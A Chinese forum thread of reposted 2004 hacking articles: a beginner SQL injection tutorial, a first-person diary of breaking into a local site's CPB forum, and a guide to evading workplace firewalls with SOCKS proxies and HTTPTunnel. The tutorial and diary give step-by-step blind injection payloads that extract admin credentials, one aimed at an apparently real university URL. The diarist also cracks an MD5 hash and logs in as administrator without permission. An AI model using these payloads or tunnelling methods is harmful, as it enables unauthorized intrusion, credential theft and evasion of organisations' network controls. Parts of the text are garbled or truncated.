本文详细的介绍了DLL后门的一些知识。其实,从上文中不难看出,DLL后门并没有想象的这么可怕,清除起来也比较简单。在文章中的开头我以说到:旨在能让大家对DLL后门“快速上手”,所以,希望这篇拙文能对大家有所帮助,文中如有错误,还请大家多多包涵,谢谢!最后,给大家拜个年,祝大家幸福快乐。

=========================
文章类型:转载 提交:日月双星 核查:NetDemon</P>
 楼主| 发表于 2004-5-22 23:35:18 | 显示全部楼层
<>菜鸟学习SQL注射
  1. &lt;SCRIPT src="http://www.20cn.net/cgi-bin/ns/count.cgi?id=20040307044132"&gt;

  2. &lt;script&gt;
复制代码
</P><>
一般国内的小一点的新闻站点程序 都有 ""&amp;request 这种漏洞,下面我讲解攻击方法
在地址栏:

and 1=1

查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误,继续假设这个站的数据库存在一个admin表
在地址栏:
and 0&lt;&gt;(select count(*) from admin)

返回页正常,假设成立了。

下面来猜猜看一下管理员表里面有几个管理员ID:

and 1&lt;(select count(*) from admin)

页面什么都没有。管理员的数量等于或者小于1个

and 1=(select count(*) from admin)

输入=1没显示错误,说明此站点只有一个管理员。

下面就是要继续猜测admin 里面关于管理员用户名和密码的字段名称。

and 1=(select count(*) from admin where len(username)&gt;0)

猜解错误!不存在 username 这个字段。只要一直改变括号里面的username这个字段,下面给大家几个常用的
user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu


用户名称字段猜解完成之后继续猜解密码字段
and 1=(select count(*) from admin where len(password)&gt;0)

password 字段存在!因为密码字段一般都是这个拉,如果不是就试试pass如果还不是就自己想想吧

我们已经知道了管理员表里面有3个字段 id,user,password。
id 编号
user 用户名
password 密码
下面继续的就是管理员用户名和密码的猜解了。一个一个来,有点麻烦,最好找个猜解机来

先猜出长度!

and 1=(select count(*) from admin where len(user)&lt;10)

user 字段长度小于10

and 1=(select count(*) from admin where len(user)&lt;5)

user 字段长度不小于5

慢慢的来,最后猜出长度等于6,请看下面,返回正常就说明猜解正确
and 1=(select count(*) from admin where len(user)=6)

下面猜密码,
and 1=(select count(*) from admin where len(password)=10)

猜出来密码10位,不要奇怪,现在网管都有防备的,所以密码上20位也不太奇怪了


下面该做的就是把他们拆开来一个一个猜字母
and 1=(select count(*) from admin where left(user,1)=a)
返回正常,第一位字母等于a,千万不要把大写和小写给搞错了哦~~呵呵,如果不a就继续猜其他的字符落,反正猜到返回正常就算OK了

开始猜解帐号的第二位字符。

and 1=(select count(*) from admin where left(user,2)=ad)

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

工作还没有完,别忙着跑了,还有10位密码,呵呵

and 1=(select count(*) from admin where left(password,1)=a)

经过无数次错误之后......
http://xyz.hytc.edu.cn/new2/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra)

结果密码是administra
看完文章,大家不要照着我的文章做,网络上的东西是变幻无穷的,但是我相信大家的大脑肯定比他变得快,所以希望大家看了这个文章灵活运用!那样才能达到理想的效果


=========================
文章类型:转载 提交:沙加II 核查:NetDemon</P>
 楼主| 发表于 2004-5-22 23:36:05 | 显示全部楼层
<>入侵日记一则(CPB论坛注入攻击)
  1. &lt;SCRIPT src="http://www.20cn.net/cgi-bin/ns/count.cgi?id=20040222101121"&gt;

  2. &lt;script&gt;
复制代码
</P><>

昨晚又通宵了一晚,今天睡了一天,醒来时郁闷闷的。。。。。。,心烦!已经全然没有了学习的兴趣~登陆QQ看看,好友全不在线。无聊信手乱开网页,来到本地一个比较有名的网站,看了看,比上次来时多加了些新东西。反正没事做,就检测一下这个站的安全性吧。(我不是黑客,却有着黑色的信仰,网络安全永远是我的爱好!)

在网站转了一下,看到也有文章系统。不过是HTM的,但用鼠标指向连接,可以看到:
http://xxx.xxx.xxx/0019/open.asp?id=888&amp;path=wshl&amp;filename&amp;=200381171455.htm

我提交http://xxx.xxx.xxx/0019/open.asp?id=888 and 1=1

跳回主页

接着提交http://xxx.xxx.xxx/0019/open.asp?id=888 and 1=2

跳回主页

看来是不能利用了。

接着,用XSCAN扫了下端口和CGI,IIS漏洞

打开CMD命令提示符窗口,输入PING XXX.XXX.XXX(XXX为网址),从返回信息得到IP-----SSS。SSS。SSS。SSS
晕,开了很多端口,给我的第一印象就是-----这站够垃圾~

看主机开的那些端口,和我机子上WIN2000SERVER默认开的端口差不多,估计是WIN2000SERVER版。
我菜,找了几个比较熟悉的试了一下,21,80,135,139。

21端口,我试着扫了下FTP弱口令和是否支持匿名登陆。失败~~~~
139端口,试着扫了IPC弱口令,(如果被我扫出有弱口令,那这服务器也太。。。。。。··##%¥#—,哈哈),并且用NET VIEW看了下有没有共享。失败~~~~

80端口,我先在CMD命令提示符下:
telnet sss.sss.sss.sss 80
get 回车
从返回的信息得知是IIS5。0
可能有WEBDAV溢出漏洞,用WEBDAV溢出程序试了一下,失败~~~~

135端口,记得这端口可能可以RPC溢出,正好我的机子上有这工具,试了下,失败~~~~

无奈,又到站上逛了一下,这时,发现一个论坛。点击进去看了看。

是个CPB论坛,版本1。2,用ASP写的,以前没见过。

去GOOGLE搜了一下有没有关于这论坛的漏洞资料,无。。。。。

试着注册一个用户,管理员屏蔽了用户注册。

下了一个CPB论坛程序,看了看数据库,ASP的,也不能下载。

看CPB论坛说明得知默认管理员帐号和密码 admin admin

试试看管理员改了密码没,用admin admin登陆,提示登陆失败。看来管理员改了密码或删掉了admin用户。

不管那么多了,先进个版块看看吧,随手点了个版块。这是,看到版块的URL,

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4

看这个连接可能有SQL漏洞,虽然以前没有SQL过论坛,还是试了一下。

首先,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 1=1

正常返回

然后,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 1=2

出错。

看来有SQL漏洞。但此时心中也没有一点窃喜,根据以前SQL下载系统的经练,仅凭这点,还没把握拿到密码。不管那么多,先试下吧。

接着,看看是否存在ADMIN表,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admin)

返回的是一个出错的页面,提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

这和我以前玩过的不一样,以前玩的都是正常返回。我随手在表admin后加了个S,
提交如下: http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admins)

显示“该页无法显示”

我又试着提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admindfgfdg)

显示"该页无法显示 “

通过这点,我判断,第一次我提交的应该是成功的,就是说,应该存在ADMIN表。

接着,判断管理员ADMIN表ID,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select id from admin where id&gt;1)

显示"该页无法显示 “

看这个返回结果,显然是不正常的返回,而且ID的值我是从最小的1判断的,肯定那里出错了,具体我也说不清楚,我菜~

接着,我试了下提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id&gt;1),也就是把ID改成了l_id,这是我以前没玩过的。

返回的是,出错。
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'

[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。

/bbs/list.asp,行145

这和判断是否存在ADMIN表时返回的是一样的。我窃喜了一下,接着试着提交:

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select ls_id from admin where ls_id&gt;1)

显示“该页无法显示"

因此,我断定ID应该用l_id,可能这对高手来说早就知道了,但这对菜鸟我来说,从没玩过,哈哈,看来今天就算拿不到密码也是有收获的,因为又多了点SQL注入的经练。

之后就是很顺利的,提交:http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id&gt;5)

返回
错误提示:

您是否阅读了帮助文件,您没有权限继续下一步操作,通常是以下原因:
很抱歉,无此论坛!

看来l_id的值小与或等于,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id=4)

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'

[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。

/bbs/list.asp,行145

因此判断l_id的值为4.

接下来猜ADMIN表里的用户名长度,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(username)&gt;1)

依然从最小的1开始判断,返回:
错误提示:

您是否阅读了帮助文件,您没有权限继续下一步操作,通常是以下原因:
很抱歉,无此论坛!

说明没有username,试了下

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 4=(select min(l_id) from admin where len(admin)&gt;1)

根据结果得知存在admin,接着提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(admin)=5)

返回的信息说明admin长度为5。

接着猜用户名,根据刚才看到的CPB论坛默认管理员帐号admin,一次提交:

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(admin,5)='admin')

呵呵,成功。减少了不少麻烦。

接下来猜密码长度,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)&gt;1)

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

哈哈,看来有password,接下来猜长度,提交
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)&gt;8

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

说明密码大于8。

然后提交:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)&gt;10

返回和上面一样,这时,根据经练,有种不祥的预感,密码用MD5加密了的!MD5加密算法不可逆,目前只能暴力破解.

接着提交:


http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)=16
返回和上面一样,晕呀~~~~~~~~~~~~~果然是MD5加密过的了。

不管那么多了,先猜出来吧,说不定也可以象DVBBS6。0那样可以通过COOK欺骗进入后台管理。

提交:http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='a')

错误。

依次猜:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='b')
错误
当试到http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='e'),
正确,后面猜第2位密码
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,2='6')
第3位:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,2='f')

花了一点时间,才出MD5加密的密码为:e6f448a30c41a4ea

抱着试下的心理去网上DOWN了个MD5暴力破解工具,先猜数字,长度选5-6,偶晕~~~~~,1分钟不到,猜出来,密码225588,我都不相信,试了下登陆,居然成功。
哈哈,今天运气真好,要是现在福彩没关门,我一定去买~~~~~~~~~~

在后台转了一下,发现可以设置上传文件类型,偶晕~
如果上传个ASP木马,然后。。。。。。。。嘿嘿~~~~~
有可能搞定整个服务器,偶晕~
好了,不要太过分。到此为止。
看了管理员资料,找到QQ,看了不在线,明天再通知他们补上吧。

By BlackFaith


=========================
文章类型:转载 提交:沙加II 核查:NetDemon</P>
 楼主| 发表于 2004-5-22 23:38:35 | 显示全部楼层
<>轻轻松松穿透防火墙 (阅览<FONT color=#ff0000>
  1. &lt;SCRIPT src="http://www.20cn.net/cgi-bin/ns/count.cgi?id=20040222100918"&gt;

  2. &lt;script&gt;
复制代码
12101 </FONT>次)</P><>


如今采用局域网方式接入Internet已经是各个公司、高校和政府机关的主要上网方式,这种方式既节省IP地址,又方便管理和控制。通常网管会在局域网的出口处设置各种防火墙,这样一方面保证了局域网内部的安全xx,另一方面又可以控制局域网内部人员的访问权限。可这样也限制了使用者的使用权限,与外界的联系也很不方便。比方说对于在公司里上班的上班一族和局域网里的穷学生来说,最痛恨的事情莫过于可恨的Boss为了防止大家偷懒而关闭了大多数端口,只允许使用有限的服务,如WWW、POP3、SMTP等。这样就用不成很多工具,如QQ、Cterm、FTP等,你和外界的联系会很不方便,有MM而不能聊、有BBS而不能灌、有精彩的歌曲而不能Down,人世间最大的痛苦莫过于此……怎么办?别急别急,本文教你几招,轻轻松松穿透防火墙,尽情使用各种工具!好,下面我们一起来看这几招的原理解说和实战说明。
  
名次解释:
 协议

  协议(Protocol)就是一组在网络上发送信息的规则和约定。这些规则控制在网络设备间交换消息的内容、格式、定时、顺序和错误,通俗说就是不同网络程序的交流语言。我们常见的QQ使用UDP协议、ICQ使用TCP协议、E-mail程序使用POP3和SMTP协议,而在常见的协议中SOCKS是一种比较复杂的协议。

 端口

  端口(Port)可以认为是计算机与外界通讯交流的出口。其中硬件领域的端口又称接口,如:USB端口、串行端口等;软件领域的端口一般指网络中面向连接服务和无连接服务的通信协议端口,是一种抽象的软件结构,包括一些数据结构和I/O(基本输入输出)缓冲区。端口号实际上有点和文件描述符相似,也是系统的一种资源,只不过其分配方式有固定的模式。有几种基本分配方式:第一种是全局分配,这是一种集中分配方式,由一个公认权威的中央机构根据用户需要进行统一分配,并将结果公布于众,而且按照协议不同分配不同的端口号,这样导致很多服务被固定在某个协议的端口上,如TCP的21端口就被FTP服务占用;第二种是本地分配,又称动态连接,即进程需要访问传输层服务时,向本地xx作系统提出申请,xx作系统返回本地唯一的端口号,进程再通过合适的系统调用,将自己和该端口连接起来。

端口按端口号可分为三大类:

  1.公认端口(WellsKnownsPorts):从0到1023,它们紧密绑定(Binding)于一些服务。通常这些端口的通讯明确表明了某种服务的协议,例如80端口实际上就是HTTP通讯。

  2.注册端口(RegisteredaPorts):从1024到49151,它们松散绑定于一些服务。也就是说有许多服务绑定于这些端口,这些端口同样用于许多其他目的,例如许多系统处理动态端口从1024左右开始。

  3.动态和“/”或私有端口(Dynamic3and/or3Private3Ports):从49152到65535。理论上不应为服务分配这些端口,实际上机器通常从1024起分配动态端口,但也有例外:SUN的RPC端口从32768开始。
  
 代理服务器

  代理服务器(Proxy)是网络信息的中转站,比方说HTTP代理服务器。我们使用网络浏览器直接链接其他Internet站点并取得网络信息时,需送出Request信号来得到回答,然后对方再把信息传送回来。代理服务器是介于浏览器和Web服务器之间的一台服务器,有了它之后,浏览器不是直接到Web服务器去取回网页而是向代理服务器发出请求,Request信号会先送到代理服务器,由代理服务器来取回浏览器所需要的信息并传送给你。而且大部分代理服务器都具有缓冲功能,就好像一个大Cache,它不断将新取得的数据包存到它本机的存储器上,如果浏览器所请求的数据在它本机的存储器上已经存在而且是最新的,那么它就不重新从Web服务器取数据,而直接将存储器上的数据传送给用户的浏览器,这样就能显著提高浏览速度和效率。除此之外还有SOCKS代理服务器,其原理大同小异。
  
 防火墙

  防火墙(Firewall)是一个系统(或一组系统),它能增强机构内部网络的安全xx。防火墙系统决定了哪些内部服务可以被外界访问、外界的哪些人可以访问内部的特定服务,以及哪些外部资源可以被内部人员访问。要使一个防火墙有效,所有进入和外出的信息都必须经过防火墙,接受其检查。防火墙必须做到只允许经过授权的数据通过,并且防火墙本身也必须能够免于渗透。但不幸的是,防火墙系统一旦被攻击者突破或迂回,就不能提供任何保护了。

  防火墙的实现方式包括“包过滤路由器”和“应用层网关”。包过滤路由器可以过滤协议(ICMP、UDP、TCP等),只允许特定的协议通过;应用层网关就是我们常说的代理服务器,它可以提供比路由器更严格的安全策略,我们平时的各种限制就是在应用层实现的。
  
  
第一招:SOCKS代理

  一般来讲,Boss为防止内部员工偷懒,常常会关闭常见娱乐工具的协议端口,如QQ使用的UDP4000端口,但常常不会关闭SOCKS的1080端口。这样如果你想用的东西本身支持SOCKS代理,那么就好办了,直接使用代理就OK。

  SOCKS是个电路级网关,是DavidKoblas在1990年开发的,此后它就一直作为Internet9RFC中的开放标准。SOCKS在协议栈的TCP层上运行,它的常用端口是1080。与Winsock不同的是,SOCKS不要求应用程序遵循特定的xx作系统平台,比如像Winsock那样遵循Windows。SOCKS代理与应用层代理、HTTP层代理不同,SOCKS代理只是简单地传递数据包,而不必关心是何种应用协议(比如FTP、HTTP和NNTP请求),所以SOCKS代理服务器比应用层代理服务器要快得多,正因为SOCKS代理服务器有这样的功能我们才可以通过它来连接Internet。常用到有SOCKS代理有SOCKS4和SOCKS5两种版本,其中SOCKS4代理只支持TCP协议,SOCKS5代理支持TCP和UDP协议,还支持各种身份验证机制、服务器端域名解析等。简单点说,SOCKS4能干的SOCKS5都可以干,反过来就不行了,如QQ只能用SOCKS5代理,而FTP可以用SOCKS4和SOCKS5,因为QQ的数据传输机制是UDP,而FTP用的数据传输机制是TCP。

  SOCKS协议就是一种几乎万能的代理协议,它虽然不能理解自己转发的数据内部结构,但它能够忠实地转发数据包,完成协议本来要完成的功能。它与你常见的HTTP代理的不同点在于,HTTP代理通过HTTP协议进行,HTTP代理服务器软件了解通讯包的内部结构,在转发过程中还要对通讯进行某种修改和转换。来看看我是怎么用SOCKS代理来穿透防火墙的吧。

  先来看看QQ中我们怎么用SOCKS代理吧。首先在QQ的任务栏通知区的图标处点右键,然后选择系统参数,然后选择网络设置,选中使用“SOCKS5代理服务器”,填入你所用的SOCKS代理地址和端口号(如图1),还可以点测试看看这个SOCKS5代理可用否。确定后,你的QQ就是通过61.136.132.138:1080这个SOCKS5代理上线的,你所有的数据包现在都是发给这个代理服务器,然后再转发出去,这样就可以绕过UDP4000的端口,穿过了防火墙的牢笼。我们还可以用另外一个可以看IP的QQ看看现在你QQ所在的IP(如图2),显示的IP是61.136.132.138。这样还有一个附加功能,就是隐藏了你的真实IP,与陌生人聊天时不用隐身了,他看到的IP也是SOCKS代理服务器的IP地址。


  再来看看如何穿透防火墙来使用FTP工具AbsoluteFTP(图3)来从网上下载东西。AbsoluteFTP是一款强大的FTP下载工具,支持SOCKS4和SOCKS5代理,而且全中文界面,如果你所在的局域网被封了21端口导致无法使用FTP下载时,可以用这款软件加SOCKS代理来绕过防火墙实现FTP功能。FTP既可以用SOCKS4,也可以用SOCKS5代理,而不像QQ只能使用SOCKS5代理。

  在AbsoluteFTP的选项设置中选中全局配置中的防火墙(图4),然后就可以选择是采用SOCKS4还是SOCKS5代理、是否需要身份认证等,然后填入SOCKS代理服务器和端口以及身份认证所需要的用户名和口令,这样就能穿过防火墙使用FTP了。
  
第二招:Socks2HTTP配合SocksCap32

  第一招中,如果网管只开放80端口,把SOCKS常用的端口关闭,或者你想用的软件本身并不支持SOCKS代理,如Foxmail,或者你就找不到可用的SOCKS代理(网上可用的SOCKS代理数量远远小于可用的HTTP代理数量),这时第一招就不灵了,怎么办?请看第二招:Socks2HTTP配合SocksCap32,二者加起来使用的结果就是只要你有一个可用的HTTP代理,就可使用各种各样的软件来直接绕过防火墙而不管它是否支持SOCKS代理,我们分两种情况来看。

 1.防火墙关闭了SOCKS端口,但你要用的软件支持SOCKS代理

  这种情形下可以直接用Socks2HTTP来搞定。Socks2HTTP(http://www.totalrc.net/)是一个代理...我们用“netstatJ–aJ–n”命令来看看本机开放的端口(如图7),就会发现本机多出个1080端口,这个端口就是HTTP2socks模拟出来的在本机上运行的SOCKS代理服务器侦听端口,现在你就拥有一个本地的SOCKS5代理服务器了。


  接下来我们看看在QQ等支持SOCKS接口的软件中该如何设置代理服务器。看下面图8,直接将SOCKS5服务器地址添为127.0.0.1,端口为1080,赶快测试一下吧。
  
 2.防火墙关闭了SOCKS端口,并且你想用的软件不支持SOCKS代理

  这就稍微麻烦一些,需要另外一个软件SocksCap32的配合支持来穿透防火墙。SocksCap32是NEC公司(http://www.socks.nec.com)开发的,?..P就解决了。HTTPfProxy网上有的是,只要有了HTTP代理就有了SOCKS代理。因为Socks2HTTP就是把HTTP代理模拟成SOCKS代理,如果再配合刚才提到的Socks2HTTP,就可以穿透防火墙来使用那些本身没有SOCKS接口的软件了,下面我们来解释这个过程!

  现在网上已经有了SocksCap的汉化版本(http://www.ttdown.com/softview.asp?...ksCap的控制台。

  为了更好理解,我把这个过程分成几步:

  第一步:首先按照第一部分那样配置好你的Socks2HTTP,填入可用的HTTP代理,启动,然后你就拥有一个本地的SOCKS代理服务器127.0.0.1,端口是1080,现在就可以用这个SOCKS代理来配置你的SocksCap。

  第二步:运行SocksCap,如果是第一次运行,系统会自动提示你是否进入设置界面,如果不是第一次运行,可以选择SocksCap中的文件→设置进入设置界面,如图10。

  第三步:在SocksCap的设置界面中填入Socks2HTTP模拟出来的本地SOCKS代理127.0.0.1,端口是1080,“协议”处选择“SOCKS版本5(5)”→“由远程决定所有名字”,其余部分,例如直接连接的设置是为了有些内部?房梢灾苯恿?佣?挥肧OCKS代理,日志部分可设置是否产生日志,日志功能能帮助诊断连接失败的原因,我们这里可以对其他部分直接采用默认设置。

  第四步:建立“应用程序标识项”。应用程序标识项是在SocksCap中新建的一个快捷方式,这个快捷方式指向你所要用的工具,在SocksCap中启动这个工具就相当于“赋予”了这个工具的SOCKS接口能力。有两种方式来建立这种快捷方式:

   1.用鼠标拖动桌面上的Cterm快捷键到SocksCap的空白处,松开鼠标即会弹出菜单,选择“应用程序标识项”系统会自动建立好标识项(见图11),点确定即可。


   2.也可以点击“新建”,在弹出的对话框里填入相应内容,点击确定。

  第五步:运行程序。在SocksCap控制台中双击刚才新建的Cterm快捷方式就可以直接使用了,比方说我现在想连接bbs.mit.edu(图12),以前因为我在教育网里无法访问国外网站,而且网管封了Telnet的23端口,我无法连上这个BBS,现在通过Socks2HTTP和SocksCap,不仅可以出国,而且可以使用Telnet服务连上MIT的BBS,穿透了防火墙!其他工具,比方说FTP、Outlook等,也一样使用。尤其值得一提的是可以用Outlook收Hotmail的信,如果没有这种办法,对于我们这些处在教育网里的穷人(无出国权限)来讲,只能乖乖用HTTP代理上Hotmail的网站,用WWW方式收信。现在有这个就好了,相当于给Outlook配备了SOCKS接口,直接就可以在Outlook里面收信了。

  
第三招:HTTPTunel

  上面两招也许就够用了,但用上面两招的前提是你要有可用的HTTP代理,从你这里发送出的所有数据包都是经过包装后通过代理转一圈然后再到达它的目的地,这样会带来两个问题:

  第一:速度问题,比方说从A发送数据经过代理B到达C,如果没有防火墙,数据是直接从A发到C;现在因为要绕过防火墙,首先必须要将从A发出的数据封装,使之能够绕过防火墙,然后发给代理B,B再将这些数据解封再传给C,从C回来的数据也要走一样的过程。这样一来,且先不考虑把这些数据封装、解封去需要耗费的时间,单是经过C绕这么大一个圈子,速度肯定要大打折扣,所以一般来讲肯定不如直接连接速度快。

  第二:过度依赖于代理导致的稳定xx问题,网上找到的代理肯定不是很稳定,很多时候容易产生丟包、服务中断的情况。其实我们并不是非要通过代理中转,比方说你哥们在宿舍开了FTP,然后他把精彩的电影放上去,你要看,可是你所在的局域网网管关闭了21的FTP端口,这样你就没法Down了,怎么办?用HTTPTunnel,Tunnel这个英文单词的意思是隧道,通常HTTPTunnel被称之为HTTP暗道,它的原理就是将数据伪装成HTTP的数据形式来穿过防火墙,实际上是在HTTP请求中创建了一个双向的虚拟数据连接来穿透防火墙。说得简单点,就是说在防火墙两边都设立一个转换程序,将原来需要发送或接受的数据包封装成HTTP请求的格式骗过防火墙,所以它不需要别的代理服务器而直接穿透防火墙。HTTPTunnel刚开始时只有Unix版本,现在已经有人把它移植到Window平台上了,它包括两个程序,htc和hts,其中htc是客户端,而hts是服务器端,我们现在来看看我是如何用它们的。比如开了FTP的机器的IP是192.168.1.231,我本地的机器的IP是192.168.1.226,现在我本地因为防火墙的原因无法连接到FTP上,现在用HTTPTunnel的过程如下:

  第一步:在我的机器上(192.168.1.226)启动HTTPTunnel客户端。启动MS-DOS的命令行方式,然后执行如图13命令,其中htc是客户端程序,-f参数表示将来自192.168.1.231:80的数据全部转发到本机的8888端口,这个端口可以随便选,只要本机没有占用就可以。

  然后我们用Netstat看一下本机现在开放的端口,发现8888端口已在侦听(如图14)。

  第二步:在对方机器上启动HTTPTunnel的服务器端,并执行命令“htsJ-fJlocalhost:21J80”,这个命令的意思是说把本机21端口发出去的数据全部通过80端口中转一下,并且开放80端口作为侦听端口,再用Neststat看一下他的机器,就会发现80端口现在也在侦听状态(如图15)。
  
  第三步:在我的机器上用FTP连接本机的8888端口(图16),现在已经连上对方的机器了,看到Movie没有(图17),嘿嘿,快点去下载吧!

  可是,人家看到的怎么是127.0.0.1而不是192.168.1.231的地址?因为我现在是连接本机的8888端口,防火墙肯定不会有反应,因为我没往外发包,当然局域网的防火墙不知道了。现在连接上本机的8888端口以后,FTP的数据包不管是控制信息还是数据信息,都被htc伪装成HTTP数据包然后发过去,在防火墙看来,这都是正常数据,相当于欺骗了防火墙。

  需要说明的是,这一招的使用需要其他机器的配合,就是说要在他的机器上启动一个hts,把他所提供的服务,如FTP等重定向到防火墙所允许的80端口上,这样才可以成功绕过防火墙!肯定有人会问,如果对方的机器上本身就有WWW服务,也就是说他的80端口在侦听,这么做会不会冲突?HTTPTunnel的优点就在于,即使他的机器以前80端口开着,现在这么用也不会出现什么问题,正常的Web访问仍然走老路子,重定向的隧道服务也畅通无阻!而且这种方法有人用鼎鼎大名的入侵检测系统Snort来检测,居然没有发现,隐蔽xx很强。
  
  不过还有最后一点需要提醒,那就是所有这些招数实际上是利用防火墙配置和系统安全管理上的漏洞,如果碰到一个死心眼的网管,一天到晚在网关那里蹲着,看看有那些漏洞没有添好,或者更牛的用TCPDump来抓包分析,一个数据包一个数据包分析,那只能歇菜了
</P>
您需要登录后才可以回帖 登录 | 注-册-帐-号

本版积分规则

小黑屋|手机版|Archiver|数学建模网 ( 湘ICP备11011602号 )

GMT+8, 2024-11-27 12:52 , Processed in 0.054594 second(s), 12 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表